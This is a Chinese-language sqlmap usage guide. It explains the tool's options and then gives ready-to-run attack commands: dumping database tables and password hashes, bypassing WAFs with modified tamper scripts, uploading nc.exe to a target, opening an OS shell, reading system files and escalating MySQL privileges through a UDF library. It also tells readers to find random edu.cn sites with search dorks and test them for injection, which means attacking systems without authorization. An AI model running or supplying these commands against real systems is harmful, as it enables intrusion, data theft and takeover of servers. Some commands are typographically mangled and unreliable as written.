超详细SQLMap使用攻略及技巧
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
sqlmap目前最新版本为1.1.8-8,相关资源如下:
官方网站:http://sqlmap.org/,
下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
演示视频:https://asciinema.org/a/46601
教程:http://www.youtube.com/user/inquisb/videos
1.1 sqlmap简介
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式:
1.2 下载及安装
(1)linux下git直接安装
gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
(2)windows下安装
windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。
(3)kali及PentestBox默认安装sqlmap
1.3 SQL使用参数详解
本文以SQLmap 1.1.8-8版本为例,对其所有参数进行详细的分析和讲解,便于在使用时进行查询。
用法: sqlmap.py [选项]
1.3.1 选项
1.3.2 目标
在这些选项中必须提供至少有一个确定目标
1.3.3 请求
这些选项可以用来指定如何连接到目标URL
–method=METHOD 强制使用给定的HTTP方法(例如put)
--data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users
–param-del=PARA.. 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
–cookie=COOKIE HTTP Cookieheader 值
–cookie-del=COO.. 用来分隔cookie的字符串值
–load-cookies=L.. Filecontaining cookies in Netscape/wget format
–drop-set-cookie IgnoreSet-Cookie header from response
–user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
–random-agent 使用random-agent作为HTTP User-Agent头值
–host=HOST HTTP Hostheader value
–referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入
-H HEADER, –hea.. 额外的http头(e.g.”X-Forwarded-For: 127.0.0.1″)
–headers=HEADERS 可以通过–headers参数来增加额外的http头(e.g.”Accept-Language: fr\nETag: 123″)
–auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)
–auth-cred=AUTH.. HTTP 认证凭证(name:password)
–auth-file=AUTH.. HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
–ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)
–ignore-proxy 忽略系统的默认代理设置
–ignore-redirects忽略重定向的尝试
–ignore-timeouts 忽略连接超时
–proxy=PROXY 使用代理服务器连接到目标URL
–proxy-cred=PRO.. 代理认证凭证(name:password)
–proxy-file=PRO.. 从文件加载代理列表
–tor 使用Tor匿名网络
–tor-port=TORPORT 设置Tor代理端口
–tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
–check-tor 检查Tor的是否正确使用
–delay=DELAY 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
–timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。
–retries=RETRIES 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
–randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
–safe-url=SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-post=SAFE.. 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
–safe-req=SAFER.. 从文件中加载安全HTTP请求
–safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求
–skip-urlencode 跳过URL的有效载荷数据编码
–csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
–csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌
–force-ssl 强制使用SSL/HTTPS
–hpp 使用HTTP参数污染的方法
–eval=EVALCODE 在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)
sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
1.3.4 优化
这些选项可用于优化sqlmap性能
1.3.5 注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
1.3.6 检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
1.3.7 技巧
这些选项可用于调整具体的SQL注入测试
1.3.8 指纹
1.3.9 枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。
1.3.10 暴力
这些选项可以被用来运行暴力检查
1.3.11 用户自定义函数注入
这些选项可以用来创建用户自定义函数
1.3.12 访问文件系统
这些选项可以被用来访问后端数据库管理系统的底层文件系统
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1
1.3.13 操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
linux查看当前用户命令:
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –os-cmd id -v1
1.3.14 Windows注册表访问
这些选项可以被用来访问后端数据库管理系统Windows注册表
1.3.15 一般选项
这些选项可以用来设置一些一般的工作参数
1.3.16 其他
1.4 实际利用
1.4.1 检测和利用SQL注入
1.手工判断是否存在漏洞
对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。
2. sqlmap自动检测
检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。
3. 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图2所示,如果能够正常访问,则复制该URL地址。
图1搜索目标
图2测试网页能否正常访问
将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞。
图3检测URL地址是否存在漏洞
4. 批量检测
将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下。
图4批量整理目标地址
1.4.2 直接连接数据库
sqlmap.py -d”mysql://admin:[email protected]:3306/testdb” -f –banner –dbs–users
1.4.3数据库相关操作
1.列数据库信息:–dbs
2.web当前使用的数据库–current-db
3.web数据库使用账户–current-user
4.列出sqlserver所有用户 –users
5.数据库账户与密码 –passwords
6.指定库名列出所有表 -D database –tables
-D:指定数据库名称
7.指定库名表名列出所有字段 -D antian365-T admin –columns
-T:指定要列出字段的表
8.指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username –dump
-D antian365 -T userb -C”email,Username,userpassword” –dump
可加双引号,也可不加双引号。
9.导出多少条数据
-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump
参数:
–start:指定开始的行
–stop:指定结束的行
此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。
1.5 SQLMAP实用技巧
1. mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,”/*!0%s” % word) 为:
return match.group().replace(word,”/*!50000%s*/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query=”CAST(%s ASCHAR)”/>为:
<castquery=”convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试
sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
2. URL重写SQL注入测试
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”
3. 列举并破解密码哈希值
当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1
4. 获取表中的数据个数
sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb
5.对网站secbang.com进行漏洞爬去
sqlmap.py -u “http://www.secbang.com“–batch –crawl=3
6.基于布尔SQL注入预估时间
sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta
7.使用hex避免字符编码导致数据丢失
sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors
8.模拟测试手机环境站点
python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile
9.智能判断测试
sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart
10.结合burpsuite进行注入
(1)burpsuite抓包,需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表单注入
sqlmap.py -u URL –data“username=a&password=a”
11.sqlmap自动填写表单注入
自动填写表单:
12.读取linux下文件
sqlmap.py-u “url” –file /etc/password
13.延时注入
sqlmap.py -u URL –technique -T–current-user
14. sqlmap 结合burpsuite进行post注入
结合burpsuite来使用sqlmap:
(1)浏览器打开目标地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录表单的submit按钮
(4)Burp会拦截到了我们的登录POST请求
(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass
15.sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
16.mysql提权
(1)连接mysql数据打开一个交互shell:
sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
17.执行shell命令
sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/
sqlmap.py -u “url” –os-shell /*系统交互的shell*/
18.延时注入
sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/
sqlmap –dbs -u"url" –safe-freq /*请求2次*/